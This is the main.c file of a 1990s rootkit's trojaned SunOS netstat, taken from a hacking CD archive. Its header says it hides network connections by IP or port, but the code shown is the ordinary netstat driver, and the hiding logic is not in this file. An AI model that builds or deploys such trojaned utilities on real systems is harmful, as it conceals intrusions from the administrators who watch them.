home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / ROOTKIT.ZIP / MAIN.C < prev    next >
C/C++ Source or Header  |  1994-03-01  |  7KB  |  349 lines

  1. /*+
  2.  *  sun4 netstat patch.  Hides network connections
  3.  *  based upon ip or port.
  4. +*/
  5.  
  6.  
  7. /*
  8.  * Copyright (c) 1983 Regents of the University of California.
  9.  * All rights reserved.  The Berkeley software License Agreement
  10.  * specifies the terms and conditions for redistribution.
  11.  */
  12.  
  13. #ifndef lint
  14. char copyright[] =
  15. "@(#) Copyright (c) 1983 Regents of the University of California.\n\
  16.  All rights reserved.\n";
  17. #endif not lint
  18.  
  19. #ifndef lint
  20. static    char sccsid[] = "@(#)main.c 1.1 91/11/13 SMI"; /* from UCB 5.7 5/22/86 */
  21. #endif
  22.  
  23. #include <sys/param.h>
  24. #include <sys/vmmac.h>
  25. #include <sys/socket.h>
  26. #include <fcntl.h>
  27. #include <kvm.h>
  28. #include <ctype.h>
  29. #include <errno.h>
  30. #include <netdb.h>
  31. #include <nlist.h>
  32. #include <stdio.h>
  33.  
  34. struct nlist nl[] = {
  35. #define    N_MBSTAT    0
  36.     { "_mbstat" },
  37. #define    N_IPSTAT    1
  38.     { "_ipstat" },
  39. #define    N_TCB        2
  40.     { "_tcb" },
  41. #define    N_TCPSTAT    3
  42.     { "_tcpstat" },
  43. #define    N_UDB        4
  44.     { "_udb" },
  45. #define    N_UDPSTAT    5
  46.     { "_udpstat" },
  47. #define    N_IFNET        6
  48.     { "_ifnet" },
  49. #define    N_HOSTS        7
  50.     { "_hosts" },
  51. #define    N_RTHOST    8
  52.     { "_rthost" },
  53. #define    N_RTNET        9
  54.     { "_rtnet" },
  55. #define    N_ICMPSTAT    10
  56.     { "_icmpstat" },
  57. #define    N_RTSTAT    11
  58.     { "_rtstat" },
  59. #define    N_NFILE        12
  60.     { "_nfile" },
  61. #define    N_FILE        13
  62.     { "_file" },
  63. #define    N_UNIXSW    14
  64.     { "_unixsw" },
  65. #define N_RTHASHSIZE    15
  66.     { "_rthashsize" },
  67. #define N_IDP        16
  68.     { "_nspcb"},
  69. #define N_IDPSTAT    17
  70.     { "_idpstat"},
  71. #define N_SPPSTAT    18
  72.     { "_spp_istat"},
  73. #define N_NSERR        19
  74.     { "_ns_errstat"},
  75. #define    N_STRST        20
  76.     { "_strst" },
  77. #define    N_NSTRBUFSZ    21
  78.     { "_nstrbufsz" },
  79. #define    N_STRBUFSIZES    22
  80.     { "_strbufsizes" },
  81. #define    N_STRBUFSTAT    23
  82.     { "_strbufstat" },
  83.     "",
  84. };
  85.  
  86. /* internet protocols */
  87. extern    int protopr();
  88. extern    int tcp_stats(), udp_stats(), ip_stats(), icmp_stats();
  89. #ifdef    ENABLE_XNS
  90. extern    int nsprotopr();
  91. extern    int spp_stats(), idp_stats(), nserr_stats();
  92. #endif    ENABLE_XNS
  93.  
  94. struct protox {
  95.     u_char    pr_index;        /* index into nlist of cb head */
  96.     u_char    pr_sindex;        /* index into nlist of stat block */
  97.     u_char    pr_wanted;        /* 1 if wanted, 0 otherwise */
  98.     int    (*pr_cblocks)();    /* control blocks printing routine */
  99.     int    (*pr_stats)();        /* statistics printing routine */
  100.     char    *pr_name;        /* well-known name */
  101. } protox[] = {
  102.     { N_TCB,    N_TCPSTAT,    1,    protopr,
  103.       tcp_stats,    "tcp" },
  104.     { N_UDB,    N_UDPSTAT,    1,    protopr,
  105.       udp_stats,    "udp" },
  106.     { -1,        N_IPSTAT,    1,    0,
  107.       ip_stats,    "ip" },
  108.     { -1,        N_ICMPSTAT,    1,    0,
  109.       icmp_stats,    "icmp" },
  110.     { -1,        -1,        0,    0,
  111.       0,        0 }
  112. };
  113.  
  114. #ifdef    ENABLE_XNS
  115. struct protox nsprotox[] = {
  116.     { N_IDP,    N_IDPSTAT,    1,    nsprotopr,
  117.       idp_stats,    "idp" },
  118.     { N_IDP,    N_SPPSTAT,    1,    nsprotopr,
  119.       spp_stats,    "spp" },
  120.     { -1,        N_NSERR,    1,    0,
  121.       nserr_stats,    "ns_err" },
  122.     { -1,        -1,        0,    0,
  123.       0,        0 }
  124. };
  125. #endif    ENABLE_XNS
  126.  
  127. char    *system = NULL;
  128. char    *kmemf = NULL;
  129. kvm_t    *kd;
  130. int    Aflag;
  131. int    aflag;
  132. int    iflag;
  133. int    mflag;
  134. int    nflag;
  135. int    rflag;
  136. int    sflag;
  137. int    tflag;
  138. int    interval;
  139. char    *interface;
  140. int    unit;
  141. char    usage[] = "[ -Aaimnrst ] [-f address_family] [-I interface] [ interval ] [ system ] [ core ]";
  142.  
  143. int    af = AF_UNSPEC;
  144.  
  145. main(argc, argv)
  146.     int argc;
  147.     char *argv[];
  148. {
  149.     char *cp, *name;
  150.     register struct protoent *p;
  151.     register struct protox *tp;
  152.  
  153.     name = argv[0];
  154.     argc--, argv++;
  155.       while (argc > 0 && **argv == '-') {
  156.         for (cp = &argv[0][1]; *cp; cp++)
  157.         switch(*cp) {
  158.  
  159.         case 'A':
  160.             Aflag++;
  161.             break;
  162.  
  163.         case 'a':
  164.             aflag++;
  165.             break;
  166.  
  167.         case 'i':
  168.             iflag++;
  169.             break;
  170.  
  171.         case 'm':
  172.             mflag++;
  173.             break;
  174.  
  175.         case 'n':
  176.             nflag++;
  177.             break;
  178.  
  179.         case 'r':
  180.             rflag++;
  181.             break;
  182.  
  183.         case 's':
  184.             sflag++;
  185.             break;
  186.  
  187.         case 't':
  188.             tflag++;
  189.             break;
  190.  
  191.         case 'u':
  192.             af = AF_UNIX;
  193.             break;
  194.  
  195.         case 'f':
  196.             argv++;
  197.             argc--;
  198.             if (argc < 1) {
  199.                fprintf(stderr, "address family not specified\n");
  200.                exit(10);
  201.             }
  202.             if (strcmp(*argv, "inet") == 0)
  203.                 af = AF_INET;
  204. #ifdef    ENABLE_XNS
  205.             else if (strcmp(*argv, "ns") == 0)
  206.                 af = AF_NS;
  207. #endif    ENABLE_XNS
  208.             else if (strcmp(*argv, "unix") == 0)
  209.                 af = AF_UNIX;
  210.             else {
  211.                 fprintf(stderr, "%s: unknown address family\n",
  212.                     *argv);
  213.                 exit(10);
  214.             }
  215.             break;
  216.             
  217.         case 'I':
  218.             iflag++;
  219.             if (*(interface = cp + 1) == 0) {
  220.                 if ((interface = argv[1]) == 0)
  221.                     break;
  222.                 argv++;
  223.                 argc--;
  224.             }
  225.             for (cp = interface; isalpha(*cp); cp++)
  226.                 ;
  227.             unit = atoi(cp);
  228.             *cp-- = 0;
  229.             break;
  230.  
  231.         default:
  232. use:
  233.             printf("usage: %s %s\n", name, usage);
  234.             exit(1);
  235.         }
  236.         argv++, argc--;
  237.     }
  238.     if (argc > 0 && isdigit(argv[0][0])) {
  239.         interval = atoi(argv[0]);
  240.         if (interval <= 0)
  241.             goto use;
  242.         argv++, argc--;
  243.         iflag++;
  244.     }
  245.     if (argc > 0) {
  246.         system = *argv;
  247.         argv++, argc--;
  248.     }
  249.     if (argc > 0)
  250.         kmemf = *argv;
  251.  
  252.     if ((kd = kvm_open(system, kmemf, NULL, O_RDONLY, argv[0])) == NULL) {
  253.         if (system == NULL)
  254.             fprintf(stderr, "Unable to read kernel VM\n");
  255.         else
  256.             fprintf(stderr, "Unable to read kernel VM for %s\n",
  257.                 system);
  258.         exit(1);
  259.     }
  260.     if (kvm_nlist(kd, nl) < 0) {
  261.         fprintf(stderr, "netstat: bad namelist\n");
  262.         exit(1);
  263.     }
  264.     if (mflag) {
  265.         mbpr(nl[N_MBSTAT].n_value);
  266.         printf("\n");
  267.         strstpr(nl[N_STRST].n_value, nl[N_NSTRBUFSZ].n_value,
  268.             nl[N_STRBUFSIZES].n_value, nl[N_STRBUFSTAT].n_value);
  269.         exit(0);
  270.     }
  271.     /*
  272.      * Keep file descriptors open to avoid overhead
  273.      * of open/close on each call to get* routines.
  274.      */
  275.     sethostent(1);
  276.     setnetent(1);
  277.     if (iflag) {
  278.         intpr(interval, nl[N_IFNET].n_value);
  279.         exit(0);
  280.     }
  281.     if (rflag) {
  282.         if (sflag)
  283.             rt_stats(nl[N_RTSTAT].n_value);
  284.         else
  285.             routepr(nl[N_RTHOST].n_value, nl[N_RTNET].n_value,
  286.                 nl[N_RTHASHSIZE].n_value);
  287.         exit(0);
  288.     }
  289.  
  290.     if (af == AF_INET || af == AF_UNSPEC) {
  291.     setprotoent(1);
  292.     setservent(1);
  293.     while (p = getprotoent()) {
  294.  
  295.         for (tp = protox; tp->pr_name; tp++)
  296.             if (strcmp(tp->pr_name, p->p_name) == 0)
  297.                 break;
  298.         if (tp->pr_name == 0 || tp->pr_wanted == 0)
  299.             continue;
  300.         if (sflag) {
  301.             if (tp->pr_stats)
  302.                 (*tp->pr_stats)(nl[tp->pr_sindex].n_value,
  303.                     p->p_name);
  304.         } else
  305.             if (tp->pr_cblocks)
  306.                 (*tp->pr_cblocks)(nl[tp->pr_index].n_value,
  307.                     p->p_name);
  308.     }
  309.     endprotoent();
  310.     }
  311.  
  312. #ifdef    ENABLE_XNS
  313.     if (af == AF_NS || af == AF_UNSPEC) {
  314.     for (tp = nsprotox; tp->pr_name; tp++) {
  315.         if (sflag) {
  316.             if (tp->pr_stats)
  317.                 (*tp->pr_stats)(nl[tp->pr_sindex].n_value,
  318.                     tp->pr_name);
  319.         } else
  320.             if (tp->pr_cblocks)
  321.                 (*tp->pr_cblocks)(nl[tp->pr_index].n_value,
  322.                     tp->pr_name);
  323.     }
  324.     }
  325. #endif    ENABLE_XNS
  326.     if ((af == AF_UNIX || af == AF_UNSPEC) && !sflag)
  327.         unixpr(nl[N_NFILE].n_value, nl[N_FILE].n_value,
  328.         nl[N_UNIXSW].n_value);
  329.     exit(0);
  330.     /* NOTREACHED */
  331. }
  332.  
  333. kread(addr, buf, nbytes)
  334.     unsigned long addr;
  335.     char *buf;
  336.     unsigned nbytes;
  337. {
  338.     return kvm_read(kd, addr, buf, nbytes);
  339. }
  340.  
  341. char *
  342. plural(n)
  343.     int n;
  344. {
  345.  
  346.     return (n != 1 ? "s" : "");
  347. }
  348.  
  349.